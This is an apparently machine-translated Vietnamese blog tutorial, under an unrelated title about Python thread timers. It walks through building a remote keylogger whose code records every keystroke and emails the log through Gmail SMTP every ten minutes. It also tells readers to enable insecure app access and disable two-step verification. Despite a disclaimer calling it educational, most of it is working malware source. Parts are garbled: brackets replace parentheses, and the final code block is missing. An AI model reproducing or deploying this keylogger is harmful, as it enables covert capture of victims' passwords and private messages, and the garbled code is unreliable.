Khoảng thời gian hẹn giờ luồng python

Bài viết này sẽ hướng dẫn các bạn tạo keylogger bằng Python bằng cách viết và phát triển khai thác keylogger từ đầu ghi lại các thao tác gõ bàn phím từ bàn phím và gửi chúng đến email bằng bàn phím Python và thư viện

KHUYẾN CÁO. Đây là một bài báo giáo dục Mục đích nhận thức đích và giáo dục người đọc về các vụ hack. Không sử dụng công cụ này hoặc trang web trên bất kỳ trang web nào. Không áp dụng hoặc thực hiện bất kỳ phương pháp hoặc sử dụng các công cụ nào mà không có sự quan tâm của các bên. Kênh49. vn sẽ không chịu trách nhiệm tuân theo bất kỳ hình thức nào đối với bất kỳ hoạt động bất hợp pháp và việc sử dụng các công cụ của bạn. Chúng tôi muốn người đọc biết về các mối đe dọa đang hoạt động và cách chúng hoạt động. Sử dụng bài viết này chỉ để tham khảo cho mục đích học tập

Nội dung bài viết

  • Keylogger là gì?
  • Hướng dẫn tạo Keylogger bằng Python

Keylogger là gì?

Keylogger là một loại công nghệ giám sát được sử dụng để theo dõi và ghi lại từng thao tác gõ phím được nhập trên bàn phím của một máy tính cụ thể. Trong hướng dẫn này, bạn sẽ học cách viết keylogger từ xa bằng Python

Bạn có thể tự hỏi tại sao keylogger lại hữu ích? . v. ]. Mục tiêu của hướng dẫn này là giúp bạn biết về các loại kịch bản này cũng như học cách tự mình phát triển khai thác các kịch bản độc hại như vậy cho mục đích giáo dục, và chúng ta sẽ cùng bắt đầu

Hướng dẫn tạo Keylogger bằng Python

Đầu tiên, chúng ta cần cài đặt một mô-đun có tên là bàn phím, truy cập thiết bị đầu cuối hoặc đặt lệnh và viết

pip3 install keyboard

Về cơ bản, mô-đun này cho phép chúng tôi kiểm tra toàn bộ bàn phím của bạn, kết nối các sự kiện toàn cầu, đăng ký phím nóng, mô phỏng các lần nhấn phím và hơn thế nữa, và nó là mô-đun rất nhỏ

Sau đây là những gì chúng ta cần làm

  • Nghe các tổ hợp phím
  • Thêm ký tự được nhấn vào một biến ký tự nhật ký chung
  • Cứ sau vài phút, hãy gửi tất cả các nhật ký quan trọng đến một email [đó là lý do tại sao tôi gọi nó là keylogger từ xa]

Hãy để chúng tôi bắt đầu bằng cách nhập các mô-đun cần thiết

import keyboard # for keylogs
import smtplib # for sending email using SMTP protocol [gmail]
# Semaphore is for blocking the current thread
# Timer is to make a method runs after an `interval` amount of time
from threading import Semaphore, Timer

Vì vậy, như tôi đã nói, chúng tôi cần tạo một tài khoản gmail mới và chắc chắn rằng

  • Quyền truy cập ứng dụng mất an toàn hơn là đang bật [chúng tôi cần bật nó vì chúng tôi sẽ đăng nhập bằng smtplib trong Python]
  • Spec minh 2 bước đang tắt

Giống như nó có thể xuất hiện trong hai hình sau

Bây giờ chúng ta hãy khởi động tham số

SEND_REPORT_EVERY = 600 # 10 minutes
EMAIL_ADDRESS = "kenh49@gmail.com"
EMAIL_PASSWORD = "toiyeukenh49"

Lưu ý. Bạn cần nhập thông tin đăng nhập gmail chính xác, nếu không điều này sẽ không hoạt động

Chúng ta sẽ sử dụng Lập trình hướng đối tượng trong ví dụ này, vì vậy chúng ta sẽ tạo một Keylogger lớp chứa các phương thức cho mỗi tác vụ

class Keylogger:
def __init__[self, interval]:
# we gonna pass SEND_REPORT_EVERY to interval
self.interval = interval
# this is the string variable that contains the log of all
# the keystrokes within `self.interval`
self.log = ""
# for blocking after setting the on_release listener
self.semaphore = Semaphore[0]

Chúng tôi đã sử dụng semaphore ở đây, nếu bạn không quen thuộc với nó, nó không phải là vấn đề, chúng tôi sẽ chỉ cần nó để chặn luồng hiện tại [tức là toàn bộ tập lệnh]

Bây giờ, chúng ta sẽ cần sử dụng hàm on_release [] của bàn phím có một lệnh gọi lại mà đối với mọi sự kiện KEY_UP [Bất kể khi nào bạn giải phóng một phím trong bàn phím], nó sẽ được gọi, lệnh gọi lại

def callback[self, event]:
"""This callback is invoked whenever a keyboard event is occured
[i.e when a key is released in this example]"""
name = event.name
if len[name] > 1:
# not a character, special key [e.g ctrl, alt, etc.]
# uppercase with []
if name == "space":
# " " instead of "space"
name = " "
elif name == "enter":
# add a new line whenever an ENTER is pressed
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
# replace spaces with underscores
name = name.replace[" ", "_"]
name = f"[{name.upper[]}]"
self.log += name

Vì vậy, bất cứ khi nào một phím được phát hành, nút được nhấn sẽ được thêm vào biến chuỗi tự. đăng nhập

Sau đó, chúng ta cần phát triển khai phương thức đã đưa ra một thông báo [trong trường hợp này là nhật ký], nó sẽ gửi email dưới dạng [vui lòng xem hướng dẫn này để biết thêm thông tin về cách thực hiện

def sendmail[self, email, password, message]:
# manages a connection to the SMTP server
server = smtplib.SMTP[host="smtp.gmail.com", port=587]
# connect to the SMTP server as TLS mode [ for security ]
server.starttls[]
# login to the email account
server.login[email, password]
# send the actual message
server.sendmail[email, email, message]
# terminates the session
server.quit[]

Phương pháp gửi email sau mỗi khoảng thời gian

def report[self]:
"""
This function gets called every `self.interval`
It basically sends keylogs and resets `self.log` variable
"""
if self.log:
# if there is something in log, report it
self.sendmail[EMAIL_ADDRESS, EMAIL_PASSWORD, self.log]
# print[self.log]
self.log = ""
Timer[interval=self.interval, function=self.report].start[]

Vì vậy, chúng tôi đang kiểm tra xem biến bản thân. log có thứ gì không đó [người dùng đã nhấn thứ gì đó trong khoảng thời gian đó], nếu đúng như vậy, hãy gửi nó đến email đó

Và sau đó chúng tôi đã chuyển khoảng cách [trong hướng dẫn này, tôi đã đặt nó thành 10 phút hoặc 600 giây, vui lòng điều chỉnh nó theo nhu cầu của bạn] và tự hàm. report[] to Layer Timer[], rồi gọi phương thức start[] ngay lập tức [vì chúng ta không cần đối tượng]

Bằng cách này, phương thức chúng tôi vừa phát triển sẽ gửi các tổ hợp phím đến dưới dạng email và tự gọi đệ quy từng giây. khoảng thời gian trong các chuỗi riêng biệt

Specify method call method on_release[]

def start[self]:
# start the keylogger
keyboard.on_release[callback=self.callback]
# start reporting the keylogs
self.report[]
# block the current thread,
# since on_release[] doesn't block the current thread
# if we don't block it, when we execute the program, nothing will happen
# that is because on_release[] will start the listener in a separate thread
self.semaphore.acquire[]

Về cơ bản chúng ta đã hoàn thành với lớp Keylogger, tất cả những gì chúng ta cần làm bây giờ là khởi động lớp này mà chúng ta vừa tạo

________số 8

Khi bạn thực hiện tập lệnh này, nó sẽ ghi lại các lần bạn nhập bàn phím, sau mỗi 10 phút, nó sẽ gửi tất cả các ký tự nhật ký đến email, hãy thử xem. Vì vậy, chúng ta đã hoàn thành việc tạo keylogger bằng python qua hướng dẫn này. Cùng xem lại toàn bộ đoạn mã bên dưới nhé

Chủ Đề